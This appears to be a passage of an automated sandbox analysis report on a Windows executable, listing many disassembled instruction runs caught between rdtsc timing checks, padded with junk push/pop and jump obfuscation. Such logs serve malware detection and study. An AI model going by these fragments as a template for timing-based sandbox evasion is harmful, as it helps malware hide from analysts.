Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D291 second address: D9D29E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F76D4BF1AF6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D88C second address: D9D890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D890 second address: D9D894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D753C3 second address: D753C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D753C9 second address: D54321 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dh, 8Bh 0x0000000d call dword ptr [ebp+122D21E9h] 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F76D4BF1AFAh 0x0000001a js 00007F76D4BF1AF6h 0x00000020 push edx 0x00000021 pop edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75539 second address: D75543 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D759C0 second address: D759DC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F76D4BF1AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F76D4BF1AF8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75BE1 second address: D75BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75BE7 second address: D75BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75CAC second address: D75CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75CB1 second address: D75CC7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F76D4BF1AF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F76D4BF1B00h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75CC7 second address: D75CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75CD8 second address: D75CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75CDC second address: D75CE6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75CE6 second address: D75CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D4BF1AFAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75CF4 second address: D75D29 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push ebx 0x0000000f jmp 00007F76D47AEA87h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007F76D47AEA78h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D766B6 second address: D7674F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F76D4BF1B06h 0x00000008 jmp 00007F76D4BF1B00h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F76D4BF1AF8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c add dword ptr [ebp+12451AFDh], esi 0x00000032 lea eax, dword ptr [ebp+1248808Fh] 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F76D4BF1AF8h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 js 00007F76D4BF1AFCh 0x00000058 xor ecx, 71CFFDD4h 0x0000005e ja 00007F76D4BF1AFCh 0x00000064 nop 0x00000065 jmp 00007F76D4BF1B04h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7674F second address: D76753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76753 second address: D76759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76759 second address: D54DA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ch, dh 0x0000000b lea eax, dword ptr [ebp+1248804Bh] 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F76D47AEA78h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b movzx ecx, di 0x0000002e jmp 00007F76D47AEA85h 0x00000033 nop 0x00000034 jmp 00007F76D47AEA7Ah 0x00000039 push eax 0x0000003a jng 00007F76D47AEA86h 0x00000040 jmp 00007F76D47AEA80h 0x00000045 nop 0x00000046 push 00000000h 0x00000048 push eax 0x00000049 call 00007F76D47AEA78h 0x0000004e pop eax 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 add dword ptr [esp+04h], 0000001Ah 0x0000005b inc eax 0x0000005c push eax 0x0000005d ret 0x0000005e pop eax 0x0000005f ret 0x00000060 jns 00007F76D47AEA79h 0x00000066 call dword ptr [ebp+122D1F2Ah] 0x0000006c push eax 0x0000006d push edx 0x0000006e ja 00007F76D47AEA78h 0x00000074 jmp 00007F76D47AEA83h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54DA3 second address: D54DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F76D4BF1AF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54DAF second address: D54DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54DB3 second address: D54DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1441 second address: DA1447 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1447 second address: DA1475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F76D4BF1AF6h 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 jmp 00007F76D4BF1B01h 0x00000019 pushad 0x0000001a jc 00007F76D4BF1AF6h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA189F second address: DA18A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7327 second address: DA734D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1AFCh 0x00000009 jmp 00007F76D4BF1B01h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA734D second address: DA7351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7516 second address: DA751D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA751D second address: DA7526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7526 second address: DA752A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA767A second address: DA767E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA767E second address: DA7698 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFAh 0x00000007 jmp 00007F76D4BF1AFCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7B0D second address: DA7B1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007F76D47AEA76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7B1E second address: DA7B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7B24 second address: DA7B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6FF1 second address: DA700E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1B09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA700E second address: DA7029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA87h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7DE8 second address: DA7DEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7DEE second address: DA7DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA83B0 second address: DA83B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABA00 second address: DABA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB15A6 second address: DB15AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB15AD second address: DB15D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F76D47AEA83h 0x0000000a jmp 00007F76D47AEA7Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB15D4 second address: DB15E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB15E0 second address: DB15E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB15E6 second address: DB1601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F76D4BF1AF6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFEEF second address: DAFEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFEF3 second address: DAFF27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F76D4BF1B07h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFF27 second address: DAFF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F76D47AEA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB00B5 second address: DB00C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F76D4BF1AFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB00C7 second address: DB00CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB00CB second address: DB00D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB01F0 second address: DB01F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB01F6 second address: DB020C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F76D4BF1B00h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB020C second address: DB0217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F76D47AEA76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0364 second address: DB0370 instructions: 0x00000000 rdtsc 0x00000002 je 00007F76D4BF1AF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0370 second address: DB0378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0378 second address: DB0388 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76D4BF1AF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB04D3 second address: DB04D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB04D9 second address: DB04DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB04DD second address: DB04F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F76D47AEA82h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB04F9 second address: DB04FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB04FD second address: DB0501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB07EB second address: DB0807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F76D4BF1AF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F76D4BF1AFDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0807 second address: DB080B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB080B second address: DB0814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0814 second address: DB081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB081A second address: DB0830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jl 00007F76D4BF1AF6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0830 second address: DB0834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0834 second address: DB0840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0B01 second address: DB0B26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Dh 0x00000007 jmp 00007F76D47AEA84h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0B26 second address: DB0B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0CCE second address: DB0CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0CD3 second address: DB0CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B06h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0FA3 second address: DB0FA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0FA8 second address: DB0FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jl 00007F76D4BF1AF6h 0x0000000c jbe 00007F76D4BF1AF6h 0x00000012 jmp 00007F76D4BF1B05h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFC13 second address: DAFC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D47AEA7Eh 0x00000009 popad 0x0000000a pushad 0x0000000b js 00007F76D47AEA76h 0x00000011 jnl 00007F76D47AEA76h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB466B second address: DB467C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1AFCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB467C second address: DB468B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76D47AEA78h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB835E second address: DB836D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F76D4BF1AF6h 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB836D second address: DB8375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8375 second address: DB8382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7D7B second address: DB7D86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F76D47AEA76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7D86 second address: DB7DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F76D4BF1B04h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push esi 0x00000014 pop esi 0x00000015 jnc 00007F76D4BF1AF6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7DB5 second address: DB7DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7DB9 second address: DB7DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7DBD second address: DB7DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7DC3 second address: DB7DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7F2F second address: DB7F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA781 second address: DBA79B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007F76D4BF1AF6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA79B second address: DBA7A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA7A3 second address: DBA7B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
